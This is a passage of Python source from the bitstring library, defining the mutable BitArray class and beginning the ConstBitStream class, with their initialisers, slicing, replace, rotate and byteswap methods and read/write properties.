'bool': Bits._readbool,\n                }\n\n# Dictionaries for mapping init keywords with init functions.\ninit_with_length_and_offset = {'bytes': Bits._setbytes_safe,\n                               'filename': Bits._setfile,\n                               }\n\ninit_with_length_only = {'uint': Bits._setuint,\n                         'int': Bits._setint,\n                         'float': Bits._setfloat,\n                         'uintbe': Bits._setuintbe,\n                         'intbe': Bits._setintbe,\n                         'floatbe': Bits._setfloat,\n                         'uintle': Bits._setuintle,\n                         'intle': Bits._setintle,\n                         'floatle': Bits._setfloatle,\n                         'uintne': Bits._setuintne,\n                         'intne': Bits._setintne,\n                         'floatne': Bits._setfloatne,\n                         }\n\ninit_without_length_or_offset = {'bin': Bits._setbin_safe,\n                                 'hex': Bits._sethex,\n                                 'oct': Bits._setoct,\n                                 'ue': Bits._setue,\n                                 'se': Bits._setse,\n                                 'uie': Bits._setuie,\n                                 'sie': Bits._setsie,\n                                 'bool': Bits._setbool,\n                                 }\n\n\nclass BitArray(Bits):\n    \"\"\"A container holding a mutable sequence of bits.\n\n    Subclass of the immutable Bits class. Inherits all of its\n    methods (except __hash__) and adds mutating methods.\n\n    Mutating methods:\n\n    append() -- Append a bitstring.\n    byteswap() -- Change byte endianness in-place.\n    insert() -- Insert a bitstring.\n    invert() -- Flip bit(s) between one and zero.\n    overwrite() -- Overwrite a section with a new bitstring.\n    prepend() -- Prepend a bitstring.\n    replace() -- Replace occurrences of one bitstring with another.\n    reverse() -- Reverse bits in-place.\n    rol() -- Rotate bits to the left.\n    ror() -- Rotate bits to the right.\n    set() -- Set bit(s) to 1 or 0.\n\n    Methods inherited from Bits:\n\n    all() -- Check if all specified bits are set to 1 or 0.\n    any() -- Check if any of specified bits are set to 1 or 0.\n    count() -- Count the number of bits set to 1 or 0.\n    cut() -- Create generator of constant sized chunks.\n    endswith() -- Return whether the bitstring ends with a sub-string.\n    find() -- Find a sub-bitstring in the current bitstring.\n    findall() -- Find all occurrences of a sub-bitstring in the current bitstring.\n    join() -- Join bitstrings together using current bitstring.\n    rfind() -- Seek backwards to find a sub-bitstring.\n    split() -- Create generator of chunks split by a delimiter.\n    startswith() -- Return whether the bitstring starts with a sub-bitstring.\n    tobytes() -- Return bitstring as bytes, padding if needed.\n    tofile() -- Write bitstring to file, padding if needed.\n    unpack() -- Interpret bits using format string.\n\n    Special methods:\n\n    Mutating operators are available: [], <<=, >>=, +=, *=, &=, |= and ^=\n    in addition to the inherited [], ==, !=, +, *, ~, <<, >>, &, | and ^.\n\n    Properties:\n\n    bin -- The bitstring as a binary string.\n    bool -- For single bit bitstrings, interpret as True or False.\n    bytepos -- The current byte position in the bitstring.\n    bytes -- The bitstring as a bytes object.\n    float -- Interpret as a floating point number.\n    floatbe -- Interpret as a big-endian floating point number.\n    floatle -- Interpret as a little-endian floating point number.\n    floatne -- Interpret as a native-endian floating point number.\n    hex -- The bitstring as a hexadecimal string.\n    int -- Interpret as a two's complement signed integer.\n    intbe -- Interpret as a big-endian signed integer.\n    intle -- Interpret as a little-endian signed integer.\n    intne -- Interpret as a native-endian signed integer.\n    len -- Length of the bitstring in bits.\n    oct -- The bitstring as an octal string.\n    pos -- The current bit position in the bitstring.\n    se -- Interpret as a signed exponential-Golomb code.\n    ue -- Interpret as an unsigned exponential-Golomb code.\n    sie -- Interpret as a signed interleaved exponential-Golomb code.\n    uie -- Interpret as an unsigned interleaved exponential-Golomb code.\n    uint -- Interpret as a two's complement unsigned integer.\n    uintbe -- Interpret as a big-endian unsigned integer.\n    uintle -- Interpret as a little-endian unsigned integer.\n    uintne -- Interpret as a native-endian unsigned integer.\n\n    \"\"\"\n\n    __slots__ = ()\n\n    # As BitArray objects are mutable, we shouldn't allow them to be hashed.\n    __hash__ = None\n\n    def __init__(self, auto=None, length=None, offset=None, **kwargs):\n        \"\"\"Either specify an 'auto' initialiser:\n        auto -- a string of comma separated tokens, an integer, a file object,\n                a bytearray, a boolean iterable or another bitstring.\n\n        Or initialise via **kwargs with one (and only one) of:\n        bytes -- raw data as a string, for example read from a binary file.\n        bin -- binary string representation, e.g. '0b001010'.\n        hex -- hexadecimal string representation, e.g. '0x2ef'\n        oct -- octal string representation, e.g. '0o777'.\n        uint -- an unsigned integer.\n        int -- a signed integer.\n        float -- a floating point number.\n        uintbe -- an unsigned big-endian whole byte integer.\n        intbe -- a signed big-endian whole byte integer.\n        floatbe - a big-endian floating point number.\n        uintle -- an unsigned little-endian whole byte integer.\n        intle -- a signed little-endian whole byte integer.\n        floatle -- a little-endian floating point number.\n        uintne -- an unsigned native-endian whole byte integer.\n        intne -- a signed native-endian whole byte integer.\n        floatne -- a native-endian floating point number.\n        se -- a signed exponential-Golomb code.\n        ue -- an unsigned exponential-Golomb code.\n        sie -- a signed interleaved exponential-Golomb code.\n        uie -- an unsigned interleaved exponential-Golomb code.\n        bool -- a boolean (True or False).\n        filename -- a file which will be opened in binary read-only mode.\n\n        Other keyword arguments:\n        length -- length of the bitstring in bits, if needed and appropriate.\n                  It must be supplied for all integer and float initialisers.\n        offset -- bit offset to the data. These offset bits are\n                  ignored and this is intended for use when\n                  initialising using 'bytes' or 'filename'.\n\n        \"\"\"\n        # For mutable BitArrays we always read in files to memory:\n        if not isinstance(self._datastore, ByteStore):\n            self._ensureinmemory()\n\n    def __new__(cls, auto=None, length=None, offset=None, **kwargs):\n        x = super(BitArray, cls).__new__(cls)\n        y = Bits.__new__(BitArray, auto, length, offset, **kwargs)\n        x._datastore = ByteStore(y._datastore._rawarray[:],\n                                          y._datastore.bitlength,\n                                          y._datastore.offset)\n        return x\n\n    def __iadd__(self, bs):\n        \"\"\"Append bs to current bitstring. Return self.\n\n        bs -- the bitstring to append.\n\n        \"\"\"\n        self.append(bs)\n        return self\n\n    def __copy__(self):\n        \"\"\"Return a new copy of the BitArray.\"\"\"\n        s_copy = BitArray()\n        if not isinstance(self._datastore, ByteStore):\n            # Let them both point to the same (invariant) array.\n            # If either gets modified then at that point they'll be read into memory.\n            s_copy._datastore = self._datastore\n        else:\n            s_copy._datastore = copy.copy(self._datastore)\n        return s_copy\n\n    def __setitem__(self, key, value):\n        \"\"\"Set item or range to new value.\n\n        Indices are in units of the step parameter (default 1 bit).\n        Stepping is used to specify the number of bits in each item.\n\n        If the length of the bitstring is changed then pos will be moved\n        to after the inserted section, otherwise it will remain unchanged.\n\n        >>> s = BitArray('0xff')\n        >>> s[0:1:4] = '0xe'\n        >>> print s\n        '0xef'\n        >>> s[4:4] = '0x00'\n        >>> print s\n        '0xe00f'\n\n        \"\"\"\n        try:\n            # A slice\n            start, step = 0, 1\n            if key.step is not None:\n                step = key.step\n        except AttributeError:\n            # single element\n            if key < 0:\n                key += self.len\n            if not 0 <= key < self.len:\n                raise IndexError(\"Slice index out of range.\")\n            if isinstance(value, numbers.Integral):\n                if not value:\n                    self._unset(key)\n                    return\n                if value in (1, -1):\n                    self._set(key)\n                    return\n                raise ValueError(\"Cannot set a single bit with integer {0}.\".format(value))\n            value = Bits(value)\n            if value.len == 1:\n                # TODO: this can't be optimal\n                if value[0]:\n                    self._set(key)\n                else:\n                    self._unset(key)\n            else:\n                self._delete(1, key)\n                self._insert(value, key)\n            return\n        else:\n            if step != 1:\n                # convert to binary string and use string slicing\n                # TODO: Horribly inefficent\n                temp = list(self._getbin())\n                v = list(Bits(value)._getbin())\n                temp.__setitem__(key, v)\n                self._setbin_unsafe(''.join(temp))\n                return\n\n            # If value is an integer then we want to set the slice to that\n            # value rather than initialise a new bitstring of that length.\n            if not isinstance(value, numbers.Integral):\n                try:\n                    # TODO: Better way than calling constructor here?\n                    value = Bits(value)\n                except TypeError:\n                    raise TypeError(\"Bitstring, integer or string expected. \"\n                                    \"Got {0}.\".format(type(value)))\n            if key.start is not None:\n                start = key.start\n                if key.start < 0:\n                    start += self.len\n                if start < 0:\n                    start = 0\n            stop = self.len\n            if key.stop is not None:\n                stop = key.stop\n                if key.stop < 0:\n                    stop += self.len\n            if start > stop:\n                # The standard behaviour for lists is to just insert at the\n                # start position if stop < start and step == 1.\n                stop = start\n            if isinstance(value, numbers.Integral):\n                if value >= 0:\n                    value = self.__class__(uint=value, length=stop - start)\n                else:\n                    value = self.__class__(int=value, length=stop - start)\n            stop = min(stop, self.len)\n            start = max(start, 0)\n            start = min(start, stop)\n            if (stop - start) == value.len:\n                if not value.len:\n                    return\n                if step >= 0:\n                    self._overwrite(value, start)\n                else:\n                    self._overwrite(value.__getitem__(slice(None, None, 1)), start)\n            else:\n                # TODO: A delete then insert is wasteful - it could do unneeded shifts.\n                # Could be either overwrite + insert or overwrite + delete.\n                self._delete(stop - start, start)\n                if step >= 0:\n                    self._insert(value, start)\n                else:\n                    self._insert(value.__getitem__(slice(None, None, 1)), start)\n                # pos is now after the inserted piece.\n            return\n\n    def __delitem__(self, key):\n        \"\"\"Delete item or range.\n\n        Indices are in units of the step parameter (default 1 bit).\n        Stepping is used to specify the number of bits in each item.\n\n        >>> a = BitArray('0x001122')\n        >>> del a[1:2:8]\n        >>> print a\n        0x0022\n\n        \"\"\"\n        try:\n            # A slice\n            start = 0\n            step = key.step if key.step is not None else 1\n        except AttributeError:\n            # single element\n            if key < 0:\n                key += self.len\n            if not 0 <= key < self.len:\n                raise IndexError(\"Slice index out of range.\")\n            self._delete(1, key)\n            return\n        else:\n            if step != 1:\n                # convert to binary string and use string slicing\n                # TODO: Horribly inefficent\n                temp = list(self._getbin())\n                temp.__delitem__(key)\n                self._setbin_unsafe(''.join(temp))\n                return\n            stop = key.stop\n            if key.start is not None:\n                start = key.start\n                if key.start < 0 and stop is None:\n                    start += self.len\n                if start < 0:\n                    start = 0\n            if stop is None:\n                stop = self.len\n            if start > stop:\n                return\n            stop = min(stop, self.len)\n            start = max(start, 0)\n            start = min(start, stop)\n            self._delete(stop - start, start)\n            return\n\n    def __ilshift__(self, n):\n        \"\"\"Shift bits by n to the left in place. Return self.\n\n        n -- the number of bits to shift. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot shift by a negative amount.\")\n        if not self.len:\n            raise ValueError(\"Cannot shift an empty bitstring.\")\n        if not n:\n            return self\n        n = min(n, self.len)\n        return self._ilshift(n)\n\n    def __irshift__(self, n):\n        \"\"\"Shift bits by n to the right in place. Return self.\n\n        n -- the number of bits to shift. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot shift by a negative amount.\")\n        if not self.len:\n            raise ValueError(\"Cannot shift an empty bitstring.\")\n        if not n:\n            return self\n        n = min(n, self.len)\n        return self._irshift(n)\n\n    def __imul__(self, n):\n        \"\"\"Concatenate n copies of self in place. Return self.\n\n        Called for expressions of the form 'a *= 3'.\n        n -- The number of concatenations. Must be >= 0.\n\n        \"\"\"\n        if n < 0:\n            raise ValueError(\"Cannot multiply by a negative integer.\")\n        return self._imul(n)\n\n    def __ior__(self, bs):\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for |= operator.\")\n        return self._ior(bs)\n\n    def __iand__(self, bs):\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for &= operator.\")\n        return self._iand(bs)\n\n    def __ixor__(self, bs):\n        bs = Bits(bs)\n        if self.len != bs.len:\n            raise ValueError(\"Bitstrings must have the same length \"\n                             \"for ^= operator.\")\n        return self._ixor(bs)\n\n    def replace(self, old, new, start=None, end=None, count=None,\n                bytealigned=None):\n        \"\"\"Replace all occurrences of old with new in place.\n\n        Returns number of replacements made.\n\n        old -- The bitstring to replace.\n        new -- The replacement bitstring.\n        start -- Any occurrences that start before this will not be replaced.\n                 Defaults to 0.\n        end -- Any occurrences that finish after this will not be replaced.\n               Defaults to self.len.\n        count -- The maximum number of replacements to make. Defaults to\n                 replace all occurrences.\n        bytealigned -- If True replacements will only be made on byte\n                       boundaries.\n\n        Raises ValueError if old is empty or if start or end are\n        out of range.\n\n        \"\"\"\n        old = Bits(old)\n        new = Bits(new)\n        if not old.len:\n            raise ValueError(\"Empty bitstring cannot be replaced.\")\n        start, end = self._validate_slice(start, end)\n        if bytealigned is None:\n            bytealigned = globals()['bytealigned']\n        # Adjust count for use in split()\n        if count is not None:\n            count += 1\n        sections = self.split(old, start, end, count, bytealigned)\n        lengths = [s.len for s in sections]\n        if len(lengths) == 1:\n            # Didn't find anything to replace.\n            return 0 # no replacements done\n        if new is self:\n            # Prevent self assignment woes\n            new = copy.copy(self)\n        positions = [lengths[0] + start]\n        for l in lengths[1:-1]:\n            # Next position is the previous one plus the length of the next section.\n            positions.append(positions[-1] + l)\n        # We have all the positions that need replacements. We do them\n        # in reverse order so that they won't move around as we replace.\n        positions.reverse()\n        try:\n            # Need to calculate new pos, if this is a bitstream\n            newpos = self._pos\n            for p in positions:\n                self[p:p + old.len] = new\n            if old.len != new.len:\n                diff = new.len - old.len\n                for p in positions:\n                    if p >= newpos:\n                        continue\n                    if p + old.len <= newpos:\n                        newpos += diff\n                    else:\n                        newpos = p\n            self._pos = newpos\n        except AttributeError:\n            for p in positions:\n                self[p:p + old.len] = new\n        assert self._assertsanity()\n        return len(lengths) - 1\n\n    def insert(self, bs, pos=None):\n        \"\"\"Insert bs at bit position pos.\n\n        bs -- The bitstring to insert.\n        pos -- The bit position to insert at.\n\n        Raises ValueError if pos < 0 or pos > self.len.\n\n        \"\"\"\n        bs = Bits(bs)\n        if not bs.len:\n            return self\n        if bs is self:\n            bs = self.__copy__()\n        if pos is None:\n            try:\n                pos = self._pos\n            except AttributeError:\n                raise TypeError(\"insert require a bit position for this type.\")\n        if pos < 0:\n            pos += self.len\n        if not 0 <= pos <= self.len:\n            raise ValueError(\"Invalid insert position.\")\n        self._insert(bs, pos)\n\n    def overwrite(self, bs, pos=None):\n        \"\"\"Overwrite with bs at bit position pos.\n\n        bs -- The bitstring to overwrite with.\n        pos -- The bit position to begin overwriting from.\n\n        Raises ValueError if pos < 0 or pos + bs.len > self.len\n\n        \"\"\"\n        bs = Bits(bs)\n        if not bs.len:\n            return\n        if pos is None:\n            try:\n                pos = self._pos\n            except AttributeError:\n                raise TypeError(\"overwrite require a bit position for this type.\")\n        if pos < 0:\n            pos += self.len\n        if pos < 0 or pos + bs.len > self.len:\n            raise ValueError(\"Overwrite exceeds boundary of bitstring.\")\n        self._overwrite(bs, pos)\n        try:\n            self._pos = pos + bs.len\n        except AttributeError:\n            pass\n\n    def append(self, bs):\n        \"\"\"Append a bitstring to the current bitstring.\n\n        bs -- The bitstring to append.\n\n        \"\"\"\n        # The offset is a hint to make bs easily appendable.\n        bs = self._converttobitstring(bs, offset=(self.len + self._offset) % 8)\n        self._append(bs)\n\n    def prepend(self, bs):\n        \"\"\"Prepend a bitstring to the current bitstring.\n\n        bs -- The bitstring to prepend.\n\n        \"\"\"\n        bs = Bits(bs)\n        self._prepend(bs)\n\n    def reverse(self, start=None, end=None):\n        \"\"\"Reverse bits in-place.\n\n        start -- Position of first bit to reverse. Defaults to 0.\n        end -- One past the position of the last bit to reverse.\n               Defaults to self.len.\n\n        Using on an empty bitstring will have no effect.\n\n        Raises ValueError if start < 0, end > self.len or end < start.\n\n        \"\"\"\n        start, end = self._validate_slice(start, end)\n        if start == 0 and end == self.len:\n            self._reverse()\n            return\n        s = self._slice(start, end)\n        s._reverse()\n        self[start:end] = s\n\n    def set(self, value, pos=None):\n        \"\"\"Set one or many bits to 1 or 0.\n\n        value -- If True bits are set to 1, otherwise they are set to 0.\n        pos -- Either a single bit position or an iterable of bit positions.\n               Negative numbers are treated in the same way as slice indices.\n               Defaults to the entire bitstring.\n\n        Raises IndexError if pos < -self.len or pos >= self.len.\n\n        \"\"\"\n        f = self._set if value else self._unset\n        if pos is None:\n            pos = xrange(self.len)\n        try:\n            length = self.len\n            for p in pos:\n                if p < 0:\n                    p += length\n                if not 0 <= p < length:\n                    raise IndexError(\"Bit position {0} out of range.\".format(p))\n                f(p)\n        except TypeError:\n            # Single pos\n            if pos < 0:\n                pos += self.len\n            if not 0 <= pos < length:\n                raise IndexError(\"Bit position {0} out of range.\".format(pos))\n            f(pos)\n\n    def invert(self, pos=None):\n        \"\"\"Invert one or many bits from 0 to 1 or vice versa.\n\n        pos -- Either a single bit position or an iterable of bit positions.\n               Negative numbers are treated in the same way as slice indices.\n\n        Raises IndexError if pos < -self.len or pos >= self.len.\n\n        \"\"\"\n        if pos is None:\n            self._invert_all()\n            return\n        if not isinstance(pos, collections.Iterable):\n            pos = (pos,)\n        length = self.len\n\n        for p in pos:\n            if p < 0:\n                p += length\n            if not 0 <= p < length:\n                raise IndexError(\"Bit position {0} out of range.\".format(p))\n            self._invert(p)\n\n    def ror(self, bits, start=None, end=None):\n        \"\"\"Rotate bits to the right in-place.\n\n        bits -- The number of bits to rotate by.\n        start -- Start of slice to rotate. Defaults to 0.\n        end -- End of slice to rotate. Defaults to self.len.\n\n        Raises ValueError if bits < 0.\n\n        \"\"\"\n        if not self.len:\n            raise Error(\"Cannot rotate an empty bitstring.\")\n        if bits < 0:\n            raise ValueError(\"Cannot rotate right by negative amount.\")\n        start, end = self._validate_slice(start, end)\n        bits %= (end - start)\n        if not bits:\n            return\n        rhs = self._slice(end - bits, end)\n        self._delete(bits, end - bits)\n        self._insert(rhs, start)\n\n    def rol(self, bits, start=None, end=None):\n        \"\"\"Rotate bits to the left in-place.\n\n        bits -- The number of bits to rotate by.\n        start -- Start of slice to rotate. Defaults to 0.\n        end -- End of slice to rotate. Defaults to self.len.\n\n        Raises ValueError if bits < 0.\n\n        \"\"\"\n        if not self.len:\n            raise Error(\"Cannot rotate an empty bitstring.\")\n        if bits < 0:\n            raise ValueError(\"Cannot rotate left by negative amount.\")\n        start, end = self._validate_slice(start, end)\n        bits %= (end - start)\n        if not bits:\n            return\n        lhs = self._slice(start, start + bits)\n        self._delete(bits, start)\n        self._insert(lhs, end - bits)\n\n    def byteswap(self, fmt=None, start=None, end=None, repeat=True):\n        \"\"\"Change the endianness in-place. Return number of repeats of fmt done.\n\n        fmt -- A compact structure string, an integer number of bytes or\n               an iterable of integers. Defaults to 0, which byte reverses the\n               whole bitstring.\n        start -- Start bit position, defaults to 0.\n        end -- End bit position, defaults to self.len.\n        repeat -- If True (the default) the byte swapping pattern is repeated\n                  as much as possible.\n\n        \"\"\"\n        start, end = self._validate_slice(start, end)\n        if fmt is None or fmt == 0:\n            # reverse all of the whole bytes.\n            bytesizes = [(end - start) // 8]\n        elif isinstance(fmt, numbers.Integral):\n            if fmt < 0:\n                raise ValueError(\"Improper byte length {0}.\".format(fmt))\n            bytesizes = [fmt]\n        elif isinstance(fmt, basestring):\n            m = STRUCT_PACK_RE.match(fmt)\n            if not m:\n                raise ValueError(\"Cannot parse format string {0}.\".format(fmt))\n            # Split the format string into a list of 'q', '4h' etc.\n            formatlist = re.findall(STRUCT_SPLIT_RE, m.group('fmt'))\n            # Now deal with multiplicative factors, 4h -> hhhh etc.\n            bytesizes = []\n            for f in formatlist:\n                if len(f) == 1:\n                    bytesizes.append(PACK_CODE_SIZE[f])\n                else:\n                    bytesizes.extend([PACK_CODE_SIZE[f[-1]]] * int(f[:-1]))\n        elif isinstance(fmt, collections.Iterable):\n            bytesizes = fmt\n            for bytesize in bytesizes:\n                if not isinstance(bytesize, numbers.Integral) or bytesize < 0:\n                    raise ValueError(\"Improper byte length {0}.\".format(bytesize))\n        else:\n            raise TypeError(\"Format must be an integer, string or iterable.\")\n\n        repeats = 0\n        totalbitsize = 8 * sum(bytesizes)\n        if not totalbitsize:\n            return 0\n        if repeat:\n            # Try to repeat up to the end of the bitstring.\n            finalbit = end\n        else:\n            # Just try one (set of) byteswap(s).\n            finalbit = start + totalbitsize\n        for patternend in xrange(start + totalbitsize, finalbit + 1, totalbitsize):\n            bytestart = patternend - totalbitsize\n            for bytesize in bytesizes:\n                byteend = bytestart + bytesize * 8\n                self._reversebytes(bytestart, byteend)\n                bytestart += bytesize * 8\n            repeats += 1\n        return repeats\n\n    def clear(self):\n        \"\"\"Remove all bits, reset to zero length.\"\"\"\n        self._clear()\n\n    def copy(self):\n        \"\"\"Return a copy of the bitstring.\"\"\"\n        return self._copy()\n\n    int = property(Bits._getint, Bits._setint,\n                   doc=\"\"\"The bitstring as a two's complement signed int. Read and write.\n                      \"\"\")\n    uint = property(Bits._getuint, Bits._setuint,\n                    doc=\"\"\"The bitstring as a two's complement unsigned int. Read and write.\n                      \"\"\")\n    float = property(Bits._getfloat, Bits._setfloat,\n                     doc=\"\"\"The bitstring as a floating point number. Read and write.\n                      \"\"\")\n    intbe = property(Bits._getintbe, Bits._setintbe,\n                     doc=\"\"\"The bitstring as a two's complement big-endian signed int. Read and write.\n                      \"\"\")\n    uintbe = property(Bits._getuintbe, Bits._setuintbe,\n                      doc=\"\"\"The bitstring as a two's complement big-endian unsigned int. Read and write.\n                      \"\"\")\n    floatbe = property(Bits._getfloat, Bits._setfloat,\n                       doc=\"\"\"The bitstring as a big-endian floating point number. Read and write.\n                      \"\"\")\n    intle = property(Bits._getintle, Bits._setintle,\n                     doc=\"\"\"The bitstring as a two's complement little-endian signed int. Read and write.\n                      \"\"\")\n    uintle = property(Bits._getuintle, Bits._setuintle,\n                      doc=\"\"\"The bitstring as a two's complement little-endian unsigned int. Read and write.\n                      \"\"\")\n    floatle = property(Bits._getfloatle, Bits._setfloatle,\n                       doc=\"\"\"The bitstring as a little-endian floating point number. Read and write.\n                      \"\"\")\n    intne = property(Bits._getintne, Bits._setintne,\n                     doc=\"\"\"The bitstring as a two's complement native-endian signed int. Read and write.\n                      \"\"\")\n    uintne = property(Bits._getuintne, Bits._setuintne,\n                      doc=\"\"\"The bitstring as a two's complement native-endian unsigned int. Read and write.\n                      \"\"\")\n    floatne = property(Bits._getfloatne, Bits._setfloatne,\n                       doc=\"\"\"The bitstring as a native-endian floating point number. Read and write.\n                      \"\"\")\n    ue = property(Bits._getue, Bits._setue,\n                  doc=\"\"\"The bitstring as an unsigned exponential-Golomb code. Read and write.\n                      \"\"\")\n    se = property(Bits._getse, Bits._setse,\n                  doc=\"\"\"The bitstring as a signed exponential-Golomb code. Read and write.\n                      \"\"\")\n    uie = property(Bits._getuie, Bits._setuie,\n                  doc=\"\"\"The bitstring as an unsigned interleaved exponential-Golomb code. Read and write.\n                      \"\"\")\n    sie = property(Bits._getsie, Bits._setsie,\n                  doc=\"\"\"The bitstring as a signed interleaved exponential-Golomb code. Read and write.\n                      \"\"\")\n    hex = property(Bits._gethex, Bits._sethex,\n                   doc=\"\"\"The bitstring as a hexadecimal string. Read and write.\n                       \"\"\")\n    bin = property(Bits._getbin, Bits._setbin_safe,\n                   doc=\"\"\"The bitstring as a binary string. Read and write.\n                       \"\"\")\n    oct = property(Bits._getoct, Bits._setoct,\n                   doc=\"\"\"The bitstring as an octal string. Read and write.\n                       \"\"\")\n    bool = property(Bits._getbool, Bits._setbool,\n                    doc=\"\"\"The bitstring as a bool (True or False). Read and write.\n                    \"\"\")\n    bytes = property(Bits._getbytes, Bits._setbytes_safe,\n                     doc=\"\"\"The bitstring as a ordinary string. Read and write.\n                      \"\"\")\n\n\n\nclass ConstBitStream(Bits):\n    \"\"\"A container or stream holding an immutable sequence of bits.\n\n    For a mutable container use the BitStream class instead.\n\n    Methods inherited from Bits:\n\n    all() -- Check if all specified bits are set to 1 or 0.\n    any() -- Check if any of specified bits are set to 1 or 0.\n    count() -- Count the number of bits set to 1 or 0.\n    cut() -- Create generator of constant sized chunks.\n    endswith() -- Return whether the bitstring ends with a sub-string.\n    find() -- Find a sub-bitstring in the current bitstring.\n    findall() -- Find all occurrences of a sub-bitstring in the current bitstring.\n    join() -- Join bitstrings together using current bitstring.\n    rfind() -- Seek backwards to find a sub-bitstring.\n    split() -- Create generator of chunks split by a delimiter.\n    startswith() -- Return whether the bitstring starts with a sub-bitstring.\n    tobytes() -- Return bitstring as bytes, padding if needed.\n    tofile() -- Write bitstring to file, padding if needed.\n    unpack() -- Interpret bits using format string.\n\n    Other methods:\n\n    bytealign() -- Align to next byte boundary.\n    peek() -- Peek at and interpret next bits as a single item.\n    peeklist() -- Peek at and interpret next bits as a list of items.\n    read() -- Read and interpret next bits as a single item.\n    readlist() -- Read and interpret next bits as a list of items.\n\n    Special methods:\n\n    Also available are the operators [], ==, !=, +, *, ~, <<, >>, &, |, ^.\n\n    Properties:\n\n    bin -- The bitstring as a binary string.\n    bool -- For single bit bitstrings, interpret as True or False.\n    bytepos -- The current byte position in the bitstring.\n    bytes -- The bitstring as a bytes object.\n    float -- Interpret as a floating point number.\n    floatbe -- Interpret as a big-endian floating point number.\n    floatle -- Interpret as a little-endian floating point number.\n    floatne -- Interpret as a native-endian floating point number.\n    hex -- The bitstring as a hexadecimal string.\n    int -- Interpret as a two's complement signed integer.\n    intbe -- Interpret as a big-endian signed integer.\n    intle -- Interpret as a little-endian signed integer.\n    intne -- Interpret as a native-endian signed integer.\n    len -- Length of the bitstring in bits.\n    oct -- The bitstring as an octal string.\n    pos -- The current bit position in the bitstring.\n    se -- Interpret as a signed exponential-Golomb code.\n    ue -- Interpret as an unsigned exponential-Golomb code.\n    sie -- Interpret as a signed interleaved exponential-Golomb code.\n    uie -- Interpret as an unsigned interleaved exponential-Golomb code.\n    uint -- Interpret as a two's complement unsigned integer.\n    uintbe -- Interpret as a big-endian unsigned integer.\n    uintle -- Interpret as a little-endian unsigned integer.\n    uintne -- Interpret as a native-endian unsigned integer.\n\n    \"\"\"\n\n    __slots__ = ('_pos')\n\n    def __init__(self, auto=None, length=None, offset=None, **kwargs):\n        \"\"\"Either specify an 'auto' initialiser:\n        auto -- a string of comma separated tokens, an integer, a file object,\n                a bytearray, a boolean iterable or another bitstring.\n\n        Or initialise via **kwargs with one (and only one) of:\n        bytes -- raw data as a string, for example read from a binary file.\n        bin -- binary string representation, e.g. '0b001010'.\n        hex -- hexadecimal string representation, e.g. '0x2ef'\n        oct -- octal string representation, e.g. '0o777'.\n        uint -- an unsigned integer.\n        int -- a signed integer.\n        float -- a floating point number.\n        uintbe -- an unsigned big-endian whole byte integer.\n        intbe -- a signed big-endian whole byte integer.\n        floatbe - a big-endian floating point number.\n        uintle -- an unsigned little-endian whole byte integer.\n        intle -- a signed little-endian whole byte integer.\n        floatle -- a little-endian floating point number.\n        uintne -- an unsigned native-endian whole byte integer.\n        intne -- a signed native-endian whole byte integer.\n        floatne -- a native-endian floating point number.\n        se -- a signed exponential-Golomb code.\n        ue -- an unsigned exponential-Golomb code.\n        sie -- a signed interleaved exponential-Golomb code.\n        uie -- an unsigned interleaved exponential-Golomb code.\n        bool -- a boolean (True or False).\n        filename -- a file which will be opened in binary read-only mode.\n\n        Other keyword arguments:\n        length -- length of the bitstring in bits, if needed and appropriate.\n                  It must be supplied for all integer and float initialisers.\n        offset -- bit offset to the data. These offset bits are\n                  ignored and this is intended for use when\n                  initialising using 'bytes' or 'filename'.\n\n        \"\"\"\n        self._pos = 0\n\n    def __new__(cls, auto=None, length=None, offset=None, **kwargs):\n        x = super(ConstBitStream, cls).__new__(cls)\n        x._initialise(auto, length, offset, **kwargs)\n        return x\n\n    def _setbytepos(self, bytepos):\n        \"\"\"Move to absolute byte-aligned position in stream.\"\"\"\n        self._setbitpos(bytepos * 8)\n\n    def _getbytepos(self):\n        \"\"\"Return the current position in the stream in bytes. Must be byte aligned.\"\"\"\n        if self._pos % 8:\n            raise ByteAlignError(\"Not byte aligned in _getbytepos().\")\n        return self._pos // 8\n\n    def _setbitpos(self, pos):\n        \"\"\"Move to absolute postion bit in bitstream.\"\"\"\n        if pos < 0:\n            raise ValueError(\"Bit position cannot be negative.\")\n        if pos > self.len:\n            raise ValueError(\"Cannot seek past the end of the data.\")\n        self._pos = pos\n\n    def _getbitpos(self):\n        \"\"\"Return the current position in the stream in bits.\"\"\"\n        return self._pos\n\n    def _clear(self):\n        Bits._clear(self)\n        self._pos = 0\n\n    def __copy__(self):\n        \"\"\"Return a new copy of the ConstBitStream for the copy module.\"\"\"\n        # Note that if you want a new copy (different ID), use _copy instead.\n        # The copy can use the same datastore as it's immutable.\n        s = ConstBitStream()\n        s._datastore = self._datastore\n        # Reset the bit position, don't copy it.\n        s._pos = 0\n        return s\n\n    def __add__(self, bs):\n        \"\"\"Concatenate bitstrings and return new bitstring.\n\n        bs -- the bitstring to append.\n\n        \"\"\"\n        s = Bits.__add__(self, bs)\n        s._pos = 0\n        return s\n\n    def read(self, fmt):\n        \"\"\"Interpret next bits according to the format string and return result.\n\n        fmt -- Token string describing how to interpret the next bits.\n\n        Token examples: 'int:12'    : 12 bits as a signed integer\n                        'uint:8'    : 8 bits as an unsigned integer\n                        'float:64'  : 8 bytes as a big-endian float\n                        'intbe:16'  : 2 bytes as a big-endian signed integer\n                        'uintbe:16' : 2 bytes as a big-endian unsigned integer\n                        'intle:32'  : 4 bytes as a little-endian signed integer\n                        'uintle:32' : 4 bytes as a little-endian unsigned integer\n                        'floatle:64': 8 bytes as a little-endian float\n                        'intne:24'  : 3 bytes as a native-endian signed integer\n                        'uintne:24' : 3 bytes as a native-endian unsigned integer\n                        'floatne:32': 4 bytes as a native-endian float\n                        'hex:80'    : 80 bits as a hex string\n                        'oct:9'     : 9 bits as an octal string\n                        'bin:1'     : single bit binary string\n                        'ue'        : next bits as unsigned exp-Golomb code\n                        'se'        : next bits as signed exp-Golomb code\n                        'uie'       : next bits as unsigned interleaved exp-Golomb code\n                        'sie'       : next bits as signed interleaved exp-Golomb code\n                        'bits:5'    : 5 bits as a bitstring\n                        'bytes:10'  : 10 bytes as a bytes object\n                        'bool'      : 1 bit as a bool\n                        'pad:3'     : 3 bits of padding to ignore - returns None\n\n        fmt may also be an integer, which will be treated like the 'bits' token.\n\n        The position in the 